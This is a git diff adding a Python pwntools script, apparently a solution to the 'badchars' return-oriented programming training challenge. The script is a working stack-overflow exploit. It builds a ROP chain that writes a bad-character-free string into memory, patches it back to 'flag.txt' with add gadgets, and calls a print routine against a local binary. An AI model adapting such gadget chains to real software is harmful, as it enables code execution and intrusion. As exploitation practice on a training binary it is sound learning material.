diff options
Diffstat (limited to 'x86_64/badchars/exploit_dirty.py')
-rw-r--r-- | x86_64/badchars/exploit_dirty.py | 54 |
1 files changed, 54 insertions, 0 deletions
diff --git a/x86_64/badchars/exploit_dirty.py b/x86_64/badchars/exploit_dirty.py new file mode 100644 index 0000000..eab68fe --- /dev/null +++ b/x86_64/badchars/exploit_dirty.py @@ -0,0 +1,54 @@ +#!/usr/bin/env python3 +from pwn import * +from time import sleep + +# gotta go FAST +# i'll make it clean when I'm not pressured for time + + +prog = process('./badchars') +payload = b'' +for c in range(40): + payload += b'a' + +payload += p64(0x000000000040069c) # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret +payload += b'fl`f-twt' +payload += p64(0x601be0) +payload += p64(1) +payload += p64(0x601be2) + +payload += p64(0x0000000000400634) # just pops + +payload += p64(0x000000000040062c) # add [r15], r14 + +payload += p64(0x00000000004006a0) # pops +payload += p64(1) +payload += p64(0x601be3) + + +payload += p64(0x000000000040062c) # add [r15], r14 + +payload += p64(0x00000000004006a0) # pops +payload += p64(1) +payload += p64(0x601be4) +payload += p64(0x000000000040062c) # add [r15], r14 + + +payload += p64(0x00000000004006a0) # pops +payload += p64(1) +payload += p64(0x601be6) +payload += p64(0x000000000040062c) # add [r15], r14 + + +payload += p64(0x00000000004006a3) # pops rdi +payload += p64(0x601be0) + +payload += p64(0x0000000000400510) + + +payload += b"\n" +prog.sendline(payload) + +sleep(0.5) +print(prog.recv()) +prog.close() |